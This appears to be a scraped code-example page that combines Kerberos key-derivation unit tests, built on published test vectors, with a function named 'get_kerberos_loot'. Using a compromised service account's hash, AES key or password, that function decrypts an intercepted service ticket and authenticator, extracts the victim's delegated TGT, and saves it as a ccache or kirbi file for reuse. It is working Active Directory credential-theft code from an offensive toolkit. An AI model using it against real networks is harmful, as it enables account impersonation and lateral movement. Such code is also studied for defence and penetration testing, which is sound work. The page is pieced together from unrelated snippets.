def test_DES_string_to_key(self):
        # DES string-to-key
        string = b'password'
        salt = b'ATHENA.MIT.EDUraeburn'
        kb = h('cbc22fae235298e3')
        k = string_to_key(Enctype.DES_MD5, string, salt)
        self.assertEqual(k.contents, kb)

        # DES string-to-key
        string = b'potatoe'
        salt = b'WHITEHOUSE.GOVdanny'
        kb = h('df3d32a74fd92a01')
        k = string_to_key(Enctype.DES_MD5, string, salt)
        self.assertEqual(k.contents, kb)
Пример #2
0
 def test_DES3_string_to_key(self):
     # DES3 string-to-key
     string = b'password'
     salt = b'ATHENA.MIT.EDUraeburn'
     kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')
     k = string_to_key(Enctype.DES3, string, salt)
     self.assertEqual(k.contents, kb)
Пример #3
0
 def test_AES128_string_to_key(self):
     # AES128 string-to-key
     string = 'password'
     salt = b'ATHENA.MIT.EDUraeburn'
     params = h('00000002')
     kb = h('C651BF29E2300AC27FA469D693BDDA13')
     k = string_to_key(Enctype.AES128, string, salt, params)
     self.assertEqual(k.contents, kb)
Пример #4
0
 def test_AES256_string_to_key(self):
     # AES256 string-to-key
     string = 'X' * 64
     salt = b'pass phrase equals block size'
     params = h('000004B0')
     kb = h(
         '89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')
     k = string_to_key(Enctype.AES256, string, salt, params)
     self.assertEqual(k.contents, kb)
Пример #5
0
 def test_AES256_prf(self):
     # AES256 prf
     kb = h('0D674DD0F9A6806525A4D92E828BD15A')
     k = string_to_key(Enctype.AES256, b'key2', b'key2')
     self.assertEqual(prf(k, b'\x02\x62'), kb)
Пример #6
0
 def test_AES128_prf(self):
     # AES128 prf
     kb = h('77B39A37A868920F2A51F9DD150C5717')
     k = string_to_key(Enctype.AES128, b'key1', b'key1')
     self.assertEqual(prf(k, b'\x01\x61'), kb)
Пример #7
0
 def test_RC4_string_to_key(self):
     # RC4 string-to-key
     string = 'foo'
     kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')
     k = string_to_key(Enctype.RC4, string, None)
     self.assertEqual(k.contents, kb)
Пример #8
0
def get_kerberos_loot(token, options):
    from pyasn1 import debug
    # debug.setLogger(debug.Debug('all'))
    # Do we have a Krb ticket?
    blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
    # print str(blob)

    data = blob['innerContextToken']['negTokenInit']['mechToken']

    try:
        payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]
    except PyAsn1Error:
        raise Exception('Error obtaining Kerberos data')
    # print payload
    # It is an AP_REQ
    decodedTGS = payload['apReq']
    # print decodedTGS

    # Get ticket data

    cipherText = decodedTGS['ticket']['enc-part']['cipher']

    # Key Usage 2
    # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
    #  application session key), encrypted with the service key
    #  (section 5.4.2)

    newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]

    # Create decryption keys from specified Kerberos keys
    if options.hashes is not None:
        nthash = options.hashes.split(':')[1]
    else:
        nthash = ''

    aesKey = options.aeskey or ''

    allciphers = [
        int(constants.EncryptionTypes.rc4_hmac.value),
        int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
        int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)
    ]

    # Store Kerberos keys
    # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC)
    keys = {}

    if nthash != '':
        keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash)
    if aesKey != '':
        if len(aesKey) == 64:
            keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
                     )] = unhexlify(aesKey)
        else:
            keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value
                     )] = unhexlify(aesKey)

    ekeys = {}
    for kt, key in keys.items():
        ekeys[kt] = Key(kt, key)

    # Calculate Kerberos keys from specified password/salt
    if options.password and options.salt:
        for cipher in allciphers:
            if cipher == 23 and options.israwpassword:
                # RC4 calculation is done manually for raw passwords
                md4 = MD4.new()
                md4.update(options.password)
                ekeys[cipher] = Key(cipher, md4.digest())
            else:
                # Do conversion magic for raw passwords
                if options.israwpassword:
                    rawsecret = options.password.decode(
                        'utf-16-le', 'replace').encode('utf-8', 'replace')
                else:
                    # If not raw, it was specified from the command line, assume it's not UTF-16
                    rawsecret = options.password
                ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt)
            LOG.debug('Calculated type %d Kerberos key: %s', cipher,
                      hexlify(ekeys[cipher].contents))

    # Select the correct encryption key
    try:
        key = ekeys[decodedTGS['ticket']['enc-part']['etype']]
    # This raises a KeyError (pun intended) if our key is not found
    except KeyError:
        LOG.error(
            'Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',
            decodedTGS['ticket']['enc-part']['etype'],
            ', '.join([str(enctype) for enctype in ekeys.keys()]))
        return None

    # Recover plaintext info from ticket
    try:
        plainText = newCipher.decrypt(key, 2, cipherText)
    except InvalidChecksum:
        LOG.error(
            'Ciphertext integrity failed. Most likely the account password or AES key is incorrect'
        )
        if options.salt:
            LOG.info(
                'You specified a salt manually. Make sure it has the correct case.'
            )
        return
    LOG.debug('Ticket decrypt OK')
    encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
    sessionKey = Key(encTicketPart['key']['keytype'],
                     bytes(encTicketPart['key']['keyvalue']))

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)

    # print encTicketPart
    flags = encTicketPart['flags'].asBinary()
    # print flags
    # for flag in TicketFlags:
    #     if flags[flag.value] == '1':
    #         print flag
    # print flags[TicketFlags.ok_as_delegate.value]
    cipherText = decodedTGS['authenticator']['cipher']
    newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])]
    # Recover plaintext info from authenticator
    plainText = newCipher.decrypt(sessionKey, 11, cipherText)

    authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0]
    # print authenticator

    # The checksum may contain the delegated ticket
    cksum = authenticator['cksum']
    if cksum['cksumtype'] != 32771:
        raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype'])

    # Checksum as in 4.1.1 [RFC4121]
    # Fields:
    # 0-3 Length of channel binding info (fixed at 16)
    # 4-19 channel binding info
    # 20-23 flags
    # 24-25 delegation option identifier
    # 26-27 length of deleg field
    # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28)
    # n..last  extensions
    flags = struct.unpack('<L', bytes(cksum['checksum'])[20:24])[0]
    # print flags
    if not flags & GSS_C_DELEG_FLAG:
        LOG.error('Delegate info not set, cannot extract ticket!')
        LOG.error(
            'Make sure the account you use has unconstrained delegation rights'
        )
        return

    dlen = struct.unpack('<H', bytes(cksum['checksum'])[26:28])[0]
    deldata = bytes(cksum['checksum'])[28:28 + dlen]
    creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0]
    # print creds
    subkey = Key(authenticator['subkey']['keytype'],
                 bytes(authenticator['subkey']['keyvalue']))
    newCipher = _enctype_table[int(creds['enc-part']['etype'])]

    plainText = newCipher.decrypt(sessionKey, 14,
                                  bytes(creds['enc-part']['cipher']))
    # print plainText
    # Now we got the EncKrbCredPart
    enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0]

    for i, tinfo in enumerate(enc_part['ticket-info']):
        # This is what we are after :)
        username = '******'.join(
            [str(item) for item in tinfo['pname']['name-string']])
        realm = str(tinfo['prealm'])
        fullname = '%s@%s' % (username, realm)
        sname = Principal(
            [str(item) for item in tinfo['sname']['name-string']])
        LOG.info('Got ticket for %s [%s]', fullname, sname)
        ticket = creds['tickets'][i]
        filename = '%s_%s' % (fullname, sname)
        saveformat = options.format
        LOG.info('Saving ticket in %s.%s', filename, saveformat)
        ccache = KrbCredCCache()
        ccache.fromKrbCredTicket(ticket, tinfo)
        if saveformat == 'ccache':
            ccache.saveFile(filename + '.ccache')
        else:
            # Save as Kirbi
            oc = KRB_CRED()
            oc['tickets'].append(ticket)
            oc['enc-part']['etype'] = 0
            new_enc_part = EncKrbCredPart()
            new_enc_part['ticket-info'].append(tinfo)
            oc['enc-part']['cipher'] = encoder.encode(new_enc_part)
            ocdata = encoder.encode(oc)
            with open(filename + '.kirbi', 'wb') as outfile:
                outfile.write(ocdata)

    data = {
        'username': username,
        'domain': realm,
        # We take it from the ccache since this already has a helper function to get
        # it in the right format.
        'tgt': ccache.credentials[0].toTGT()
    }
    return data